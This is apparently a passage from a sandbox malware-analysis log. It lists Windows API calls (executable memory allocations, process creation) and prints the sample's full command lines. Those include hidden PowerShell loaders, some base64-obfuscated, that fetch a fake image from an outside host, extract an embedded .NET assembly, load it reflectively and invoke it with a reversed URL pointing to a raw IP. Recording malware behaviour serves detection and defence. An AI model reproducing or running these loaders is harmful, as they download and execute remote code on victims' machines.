stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2696
region_size: 331776
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002ef0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2696
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002f40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769cd000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0
file C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/583/414/original/hta_nostartup.jpg?1692658645';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.enolaerenolaer/071.47.522.581//:ptth');$method.Invoke($null, $arguments)"
cmdline powershell -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€dQBw€€Gw€€bwBh€€GQ€€Z€€Bl€€Gk€€bQBh€€Gc€€ZQBu€€HM€€LgBj€€G8€€bQ€€u€€GI€€cg€€v€€Gk€€bQBh€€Gc€€ZQBz€€C8€€M€€€€w€€DQ€€Lw€€1€€Dg€€Mw€€v€€DQ€€MQ€€0€€C8€€bwBy€€Gk€€ZwBp€€G4€€YQBs€€C8€€a€€B0€€GE€€XwBu€€G8€€cwB0€€GE€€cgB0€€HU€€c€€€€u€€Go€€c€€Bn€€D8€€MQ€€2€€Dk€€Mg€€2€€DU€€O€€€€2€€DQ€€NQ€€n€€Ds€€J€€B3€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€g€€D0€€I€€BO€€GU€€dw€€t€€E8€€YgBq€€GU€€YwB0€€C€€€€UwB5€€HM€€d€€Bl€€G0€€LgBO€€GU€€d€€€€u€€Fc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€Ds€€J€€Bp€€G0€€YQBn€€GU€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€LgBE€€G8€€dwBu€€Gw€€bwBh€€GQ€€R€€Bh€€HQ€€YQ€€o€€CQ€€aQBt€€GE€€ZwBl€€FU€€cgBs€€Ck€€Ow€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBU€€GU€€e€€B0€€C4€€RQBu€€GM€€bwBk€€Gk€€bgBn€€F0€€Og€€6€€FU€€V€€BG€€Dg€€LgBH€€GU€€d€€BT€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€FM€€V€€BB€€FI€€V€€€€+€€D4€€Jw€€7€€CQ€€ZQBu€€GQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€EU€€TgBE€€D4€€Pg€€n€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€p€€Ds€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€Ek€€bgBk€€GU€€e€€BP€€GY€€K€€€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwBl€€C€€€€M€€€€g€€C0€€YQBu€€GQ€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwB0€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€Kw€€9€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€u€€Ew€€ZQBu€€Gc€€d€€Bo€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€g€€D0€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€I€€€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€Ow€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€FM€€dQBi€€HM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Cw€€I€€€€k€€GI€€YQBz€€GU€€Ng€€0€€Ew€€ZQBu€€Gc€€d€€Bo€€Ck€€Ow€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBD€€G8€€bgB2€€GU€€cgB0€€F0€€Og€€6€€EY€€cgBv€€G0€€QgBh€€HM€€ZQ€€2€€DQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€KQ€€7€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBS€€GU€€ZgBs€€GU€€YwB0€€Gk€€bwBu€€C4€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€F0€€Og€€6€€Ew€€bwBh€€GQ€€K€€€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€Ck€€Ow€€k€€HQ€€eQBw€€GU€€I€€€€9€€C€€€€J€€Bs€€G8€€YQBk€€GU€€Z€€BB€€HM€€cwBl€€G0€€YgBs€€Hk€€LgBH€€GU€€d€€BU€€Hk€€c€€Bl€€Cg€€JwBG€€Gk€€YgBl€€HI€€LgBI€€G8€€bQBl€€Cc€€KQ€€7€€CQ€€bQBl€€HQ€€a€€Bv€€GQ€€I€€€€9€€C€€€€J€€B0€€Hk€€c€€Bl€€C4€€RwBl€€HQ€€TQBl€€HQ€€a€€Bv€€GQ€€K€€€€n€€FY€€QQBJ€€Cc€€KQ€€7€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€I€€€€9€€C€€€€L€€€€o€€Cc€€d€€B4€€HQ€€LgBl€€G4€€bwBs€€GE€€ZQBy€€GU€€bgBv€€Gw€€YQBl€€HI€€Lw€€w€€Dc€€MQ€€u€€DQ€€Nw€€u€€DU€€Mg€€y€€C4€€NQ€€4€€DE€€Lw€€v€€Do€€c€€B0€€HQ€€a€€€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C4€€SQBu€€HY€€bwBr€€GU€€K€€€€k€€G4€€dQBs€€Gw€€L€€€€g€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€KQ€€=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€dQBw€€Gw€€bwBh€€GQ€€Z€€Bl€€Gk€€bQBh€€Gc€€ZQBu€€HM€€LgBj€€G8€€bQ€€u€€GI€€cg€€v€€Gk€€bQBh€€Gc€€ZQBz€€C8€€M€€€€w€€DQ€€Lw€€1€€Dg€€Mw€€v€€DQ€€MQ€€0€€C8€€bwBy€€Gk€€ZwBp€€G4€€YQBs€€C8€€a€€B0€€GE€€XwBu€€G8€€cwB0€€GE€€cgB0€€HU€€c€€€€u€€Go€€c€€Bn€€D8€€MQ€€2€€Dk€€Mg€€2€€DU€€O€€€€2€€DQ€€NQ€€n€€Ds€€J€€B3€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€g€€D0€€I€€BO€€GU€€dw€€t€€E8€€YgBq€€GU€€YwB0€€C€€€€UwB5€€HM€€d€€Bl€€G0€€LgBO€€GU€€d€€€€u€€Fc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€Ds€€J€€Bp€€G0€€YQBn€€GU€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€LgBE€€G8€€dwBu€€Gw€€bwBh€€GQ€€R€€Bh€€HQ€€YQ€€o€€CQ€€aQBt€€GE€€ZwBl€€FU€€cgBs€€Ck€€Ow€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBU€€GU€€e€€B0€€C4€€RQBu€€GM€€bwBk€€Gk€€bgBn€€F0€€Og€€6€€FU€€V€€BG€€Dg€€LgBH€€GU€€d€€BT€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€FM€€V€€BB€€FI€€V€€€€+€€D4€€Jw€€7€€CQ€€ZQBu€€GQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€EU€€TgBE€€D4€€Pg€€n€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€p€€Ds€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€Ek€€bgBk€€GU€€e€€BP€€GY€€K€€€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwBl€€C€€€€M€€€€g€€C0€€YQBu€€GQ€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwB0€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€Kw€€9€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€u€€Ew€€ZQBu€€Gc€€d€€Bo€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€g€€D0€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€I€€€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€Ow€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€FM€€dQBi€€HM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Cw€€I€€€€k€€GI€€YQBz€€GU€€Ng€€0€€Ew€€ZQBu€€Gc€€d€€Bo€€Ck€€Ow€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBD€€G8€€bgB2€€GU€€cgB0€€F0€€Og€€6€€EY€€cgBv€€G0€€QgBh€€HM€€ZQ€€2€€DQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€KQ€€7€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBS€€GU€€ZgBs€€GU€€YwB0€€Gk€€bwBu€€C4€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€F0€€Og€€6€€Ew€€bwBh€€GQ€€K€€€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€Ck€€Ow€€k€€HQ€€eQBw€€GU€€I€€€€9€€C€€€€J€€Bs€€G8€€YQBk€€GU€€Z€€BB€€HM€€cwBl€€G0€€YgBs€€Hk€€LgBH€€GU€€d€€BU€€Hk€€c€€Bl€€Cg€€JwBG€€Gk€€YgBl€€HI€€LgBI€€G8€€bQBl€€Cc€€KQ€€7€€CQ€€bQBl€€HQ€€a€€Bv€€GQ€€I€€€€9€€C€€€€J€€B0€€Hk€€c€€Bl€€C4€€RwBl€€HQ€€TQBl€€HQ€€a€€Bv€€GQ€€K€€€€n€€FY€€QQBJ€€Cc€€KQ€€7€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€I€€€€9€€C€€€€L€€€€o€€Cc€€d€€B4€€HQ€€LgBl€€G4€€bwBs€€GE€€ZQBy€€GU€€bgBv€€Gw€€YQBl€€HI€€Lw€€w€€Dc€€MQ€€u€€DQ€€Nw€€u€€DU€€Mg€€y€€C4€€NQ€€4€€DE€€Lw€€v€€Do€€c€€B0€€HQ€€a€€€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C4€€SQBu€€HY€€bwBr€€GU€€K€€€€k€€G4€€dQBs€€Gw€€L€€€€g€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€KQ€€=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2928
thread_handle: 0x00000000000004cc
process_identifier: 2924
current_directory: C:\Users\test22\Desktop
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€dQBw€€Gw€€bwBh€€GQ€€Z€€Bl€€Gk€€bQBh€€Gc€€ZQBu€€HM€€LgBj€€G8€€bQ€€u€€GI€€cg€€v€€Gk€€bQBh€€Gc€€ZQBz€€C8€€M€€€€w€€DQ€€Lw€€1€€Dg€€Mw€€v€€DQ€€MQ€€0€€C8€€bwBy€€Gk€€ZwBp€€G4€€YQBs€€C8€€a€€B0€€GE€€XwBu€€G8€€cwB0€€GE€€cgB0€€HU€€c€€€€u€€Go€€c€€Bn€€D8€€MQ€€2€€Dk€€Mg€€2€€DU€€O€€€€2€€DQ€€NQ€€n€€Ds€€J€€B3€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€g€€D0€€I€€BO€€GU€€dw€€t€€E8€€YgBq€€GU€€YwB0€€C€€€€UwB5€€HM€€d€€Bl€€G0€€LgBO€€GU€€d€€€€u€€Fc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€Ds€€J€€Bp€€G0€€YQBn€€GU€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€LgBE€€G8€€dwBu€€Gw€€bwBh€€GQ€€R€€Bh€€HQ€€YQ€€o€€CQ€€aQBt€€GE€€ZwBl€€FU€€cgBs€€Ck€€Ow€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBU€€GU€€e€€B0€€C4€€RQBu€€GM€€bwBk€€Gk€€bgBn€€F0€€Og€€6€€FU€€V€€BG€€Dg€€LgBH€€GU€€d€€BT€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€FM€€V€€BB€€FI€€V€€€€+€€D4€€Jw€€7€€CQ€€ZQBu€€GQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€EU€€TgBE€€D4€€Pg€€n€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€p€€Ds€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€Ek€€bgBk€€GU€€e€€BP€€GY€€K€€€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwBl€€C€€€€M€€€€g€€C0€€YQBu€€GQ€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwB0€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€Kw€€9€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€u€€Ew€€ZQBu€€Gc€€d€€Bo€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€g€€D0€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€I€€€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€Ow€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€FM€€dQBi€€HM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Cw€€I€€€€k€€GI€€YQBz€€GU€€Ng€€0€€Ew€€ZQBu€€Gc€€d€€Bo€€Ck€€Ow€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBD€€G8€€bgB2€€GU€€cgB0€€F0€€Og€€6€€EY€€cgBv€€G0€€QgBh€€HM€€ZQ€€2€€DQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€KQ€€7€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBS€€GU€€ZgBs€€GU€€YwB0€€Gk€€bwBu€€C4€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€F0€€Og€€6€€Ew€€bwBh€€GQ€€K€€€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€Ck€€Ow€€k€€HQ€€eQBw€€GU€€I€€€€9€€C€€€€J€€Bs€€G8€€YQBk€€GU€€Z€€BB€€HM€€cwBl€€G0€€YgBs€€Hk€€LgBH€€GU€€d€€BU€€Hk€€c€€Bl€€Cg€€JwBG€€Gk€€YgBl€€HI€€LgBI€€G8€€bQBl€€Cc€€KQ€€7€€CQ€€bQBl€€HQ€€a€€Bv€€GQ€€I€€€€9€€C€€€€J€€B0€€Hk€€c€€Bl€€C4€€RwBl€€HQ€€TQBl€€HQ€€a€€Bv€€GQ€€K€€€€n€€FY€€QQBJ€€Cc€€KQ€€7€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€I€€€€9€€C€€€€L€€€€o€€Cc€€d€€B4€€HQ€€LgBl€€G4€€bwBs€€GE€€ZQBy€€GU€€bgBv€€Gw€€YQBl€€HI€€Lw€€w€€Dc€€MQ€€u€€DQ€€Nw€€u€€DU€€Mg€€y€€C4€€NQ€€4€€DE€€Lw€€v€€Do€€c€€B0€€HQ€€a€€€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C4€€SQBu€€HY€€bwBr€€GU€€K€€€€k€€G4€€dQBs€€Gw€€L€€€€g€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€KQ€€=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000000000004c4
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€dQBw€€Gw€€bwBh€€GQ€€Z€€Bl€€Gk€€bQBh€€Gc€€ZQBu€€HM€€LgBj€€G8€€bQ€€u€€GI€€cg€€v€€Gk€€bQBh€€Gc€€ZQBz€€C8€€M€€€€w€€DQ€€Lw€€1€€Dg€€Mw€€v€€DQ€€MQ€€0€€C8€€bwBy€€Gk€€ZwBp€€G4€€YQBs€€C8€€a€€B0€€GE€€XwBu€€G8€€cwB0€€GE€€cgB0€€HU€€c€€€€u€€Go€€c€€Bn€€D8€€MQ€€2€€Dk€€Mg€€2€€DU€€O€€€€2€€DQ€€NQ€€n€€Ds€€J€€B3€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€g€€D0€€I€€BO€€GU€€dw€€t€€E8€€YgBq€€GU€€YwB0€€C€€€€UwB5€€HM€€d€€Bl€€G0€€LgBO€€GU€€d€€€€u€€Fc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€Ds€€J€€Bp€€G0€€YQBn€€GU€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€LgBE€€G8€€dwBu€€Gw€€bwBh€€GQ€€R€€Bh€€HQ€€YQ€€o€€CQ€€aQBt€€GE€€ZwBl€€FU€€cgBs€€Ck€€Ow€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBU€€GU€€e€€B0€€C4€€RQBu€€GM€€bwBk€€Gk€€bgBn€€F0€€Og€€6€€FU€€V€€BG€€Dg€€LgBH€€GU€€d€€BT€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€FM€€V€€BB€€FI€€V€€€€+€€D4€€Jw€€7€€CQ€€ZQBu€€GQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€EU€€TgBE€€D4€€Pg€€n€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€p€€Ds€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€Ek€€bgBk€€GU€€e€€BP€€GY€€K€€€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwBl€€C€€€€M€€€€g€€C0€€YQBu€€GQ€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwB0€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€Kw€€9€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€u€€Ew€€ZQBu€€Gc€€d€€B